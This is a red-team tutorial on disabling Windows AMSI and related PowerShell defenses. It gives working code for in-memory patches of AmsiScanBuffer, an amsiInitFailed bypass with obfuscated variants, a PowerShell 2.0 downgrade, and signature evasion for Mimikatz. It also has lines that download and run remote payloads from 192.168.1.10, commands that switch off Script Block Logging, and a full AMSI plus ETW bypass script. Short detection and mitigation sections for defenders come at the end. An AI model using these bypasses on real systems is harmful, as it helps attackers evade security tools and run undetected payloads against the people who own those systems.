What is AMSI?
AMSI (Antimalware Scan Interface) is a Windows API introduced in Windows 10 that allows applications to send content to antivirus solutions for real-time scanning before execution.
The flow works like this:
- PowerShell receives a script or command
- Before executing, it calls
AmsiScanBuffer()orAmsiScanString()viaamsi.dll - The registered AV/EDR scans the content
- If malicious → blocked. If clean → execution proceeds
PowerShell → amsi.dll → AmsiScanBuffer() → AV Provider → Allow / Block
Every PowerShell session loads amsi.dll into the process. The goal of bypasses is to neutralize this DLL before executing offensive payloads.
> WARNING: These techniques are for use in authorized environments only (pentest, red team, lab). Unauthorized use is a crime.
Technique 1 — AmsiScanBuffer Patch via Reflection
The most classic technique: use .NET Reflection to locate and patch the AmsiScanBuffer function in memory, making it always return AMSI_RESULT_CLEAN.
# AMSI Patch via Reflection — classic
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$Lib = [Win32]::LoadLibrary("amsi.dll")
$Addr = [Win32]::GetProcAddress($Lib, "AmsiScanBuffer")
# Patch: mov eax, 0x80070057 ; ret
$Patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$Old = 0
[Win32]::VirtualProtect($Addr, [UIntPtr]5, 0x40, [ref]$Old) | Out-Null
$Marshal = [System.Runtime.InteropServices.Marshal]
$Marshal::Copy($Patch, 0, $Addr, 6)
After running this in the session, AMSI is disabled for the current process.
Technique 2 — Force Error via AmsiInitFailed
A more stealthy approach: use Reflection to set the private field amsiInitFailed in the context of the current session, making PowerShell believe that AMSI failed to initialize.
# AmsiInitFailed — force initialization failure
$a = [Ref].Assembly.GetTypes() | Where-Object {
$_.Name -like '*Am*i*'
}
$b = $a | ForEach-Object {
$_.GetFields('NonPublic,Static') | Where-Object {
$_.Name -like '*ailed*'
}
}
$b.SetValue($null, $true)
This method is often detected by modern EDRs because the string amsiInitFailed has become a signature. Use obfuscation:
# Obfuscated version with string concatenation
$x = 'Am' + 'si' + 'Utils'
$y = 'am' + 'si' + 'Init' + 'Failed'
$t = [Ref].Assembly.GetType("System.Management.Automation.$x")
$f = $t.GetField($y, 'NonPublic,Static')
$f.SetValue($null, $true)
Technique 3 — Patch with Marshal.WriteInt32
Variation of the direct patch, using Marshal.WriteInt32 without needing custom P/Invoke:
# Bypass via Marshal without Add-Type
$a = [System.Runtime.InteropServices.Marshal]
$b = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$c = $b.GetField('amsiContext', 'NonPublic,Static')
$d = $c.GetValue($null)
# Corrupts the AMSI context
$a::WriteInt32([IntPtr]($d.ToInt64() + 0x8), 0)
Technique 4 — Downgrade to PowerShell 2.0
PowerShell 2.0 does not implement AMSI. If it is still installed on the system:
# Checks if PS 2.0 is available
powershell -version 2 -Command "$PSVersionTable"
# Executes payload in PS 2.0 context (without AMSI)
powershell -version 2 -ExecutionPolicy Bypass -File payload.ps1
# Checks for .NET 2.0/3.5 installation (required for PS 2.0)
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
> Note: Many modern environments have PS 2.0 disabled via GPO. Check before attempting.
Technique 5 — String Obfuscation (Signature Evasion)
Instead of patching AMSI, avoid triggering it. Strings known as amsiInitFailed, AmsiScanBuffer, Invoke-Mimikatz trigger signatures. Use obfuscation:
# Simple concatenation
$cmd = 'Invoke' + '-' + 'Mi' + 'mi' + 'katz'
IEX $cmd
# Base64 encoding
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Invoke-Mimikatz'))
IEX ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encoded)))
# SecureString (less common but effective)
$s = 'amsiInitFailed'
$secure = ConvertTo-SecureString $s -AsPlainText -Force
$plain = [Runtime.InteropServices.Marshal]::PtrToStringAuto(
[Runtime.InteropServices.Marshal]::SecureStringToBSTR($secure)
)
Technique 6 — Loading via WebRequest (In-Memory)
Load payloads directly into memory without touching the disk, minimizing detection surface:
# Bypass + in-memory loading
# 1. Disable AMSI first
# 2. Load remote assembly without writing to disk
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.10/bypass.ps1')
# Or via IWR
$r = Invoke-WebRequest -Uri 'http://192.168.1.10/payload.ps1' -UseBasicParsing
IEX $r.Content
# .NET assembly in memory
$bytes = (New-Object Net.WebClient).DownloadData('http://192.168.1.10/tool.dll')
[Reflection.Assembly]::Load($bytes)
EDR Detection and Workarounds
Modern EDRs monitor beyond AMSI:
| Detection Vector | Evasion Technique |
|---|---|
| String Signatures | Obfuscation, encoding, concatenation |
| Script Block Logging | Patch ScriptBlockLoggingEnabled via registry |
| ETW (Event Tracing) | Patch EtwEventWrite in ntdll.dll |
| Constrained Language Mode | Bypass via COM, Add-Type, runspaces |
| WLDP (WDAC) | More advanced process injection techniques |
# Disable Script Block Logging (requires permission or CLM bypass)
$key = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
Set-ItemProperty -Path $key -Name 'EnableScriptBlockLogging' -Value 0
Complete Script: AMSI + ETW Bypass
#!/usr/bin/env pwsh
# amsi_etw_bypass.ps1 — AMSI + ETW neutralization
# Usage: . .\amsi_etw_bypass.ps1
function Invoke-AmsiBypass {
try {
$a = [Ref].Assembly.GetType(
'System.Management.Automation.' + 'Am' + 'siUtils'
)
$b = $a.GetField('am' + 'siInit' + 'Failed', 'NonPublic,Static')
$b.SetValue($null, $true)
Write-Host "[+] AMSI : disabled" -ForegroundColor Green
} catch {
Write-Host "[-] AMSI bypass failed: $_" -ForegroundColor Red
}
}
function Invoke-ETWBypass {
try {
$patch = [Byte[]](0xC3) # ret
$addr = [System.Diagnostics.Eventing.EventProvider].GetField(
'm_etwCallback',
'NonPublic,Instance'
)
# P/Invoke to VirtualProtect + patch EtwEventWrite
$ntdll = [System.Runtime.InteropServices.Marshal]
$kernel32 = Add-Type -MemberDefinition @'
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(
IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr h, string name);
[DllImport("kernel32.dll")]
public static extern IntPtr LoadLibrary(string name);
'@ -Name 'K32' -PassThru
$lib = $kernel32::LoadLibrary("ntdll.dll")
$func = $kernel32::GetProcAddress($lib, "EtwEventWrite")
$old = [uint32]0
$kernel32::VirtualProtect($func, [UIntPtr]1, 0x40, [ref]$old) | Out-Null
[System.Runtime.InteropServices.Marshal]::WriteByte($func, 0xC3)
Write-Host "[+] ETW : patched" -ForegroundColor Green
} catch {
Write-Host "[!] ETW bypass skipped: $_" -ForegroundColor Yellow
}
}
Invoke-AmsiBypass
Invoke-ETWBypass
Write-Host "[*] Session ready. OPSEC level: reduced." -ForegroundColor Cyan
Detection by the Defender Side
If you are the Blue Team, monitor:
- Event ID 4104 — Script Block Logging (PowerShell)
- Event ID 4688 — Process creation with
powershell.exe -version 2 - Sysmon Event 10 — Process access to
amsi.dll - Loading of
System.Management.Automationvia Reflection - Presence of strings such as
AmsiScanBuffer,amsiInitFailed,VirtualProtectin logs
# Blue Team: check if AMSI is active in the session
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
.GetField('amsiInitFailed','NonPublic,Static')
.GetValue($null)
# $false = AMSI active | $true = AMSI compromised
Mitigations
- Enable PowerShell Constrained Language Mode via WDAC/AppLocker
- Disable PowerShell 2.0 (
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root) - Enable Script Block Logging and Module Logging (GPO)
- Use EDR with memory protection (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint)
- Monitor ETW providers for PowerShell:
Microsoft-Windows-PowerShell - Implement JEA (Just Enough Administration) to restrict available commands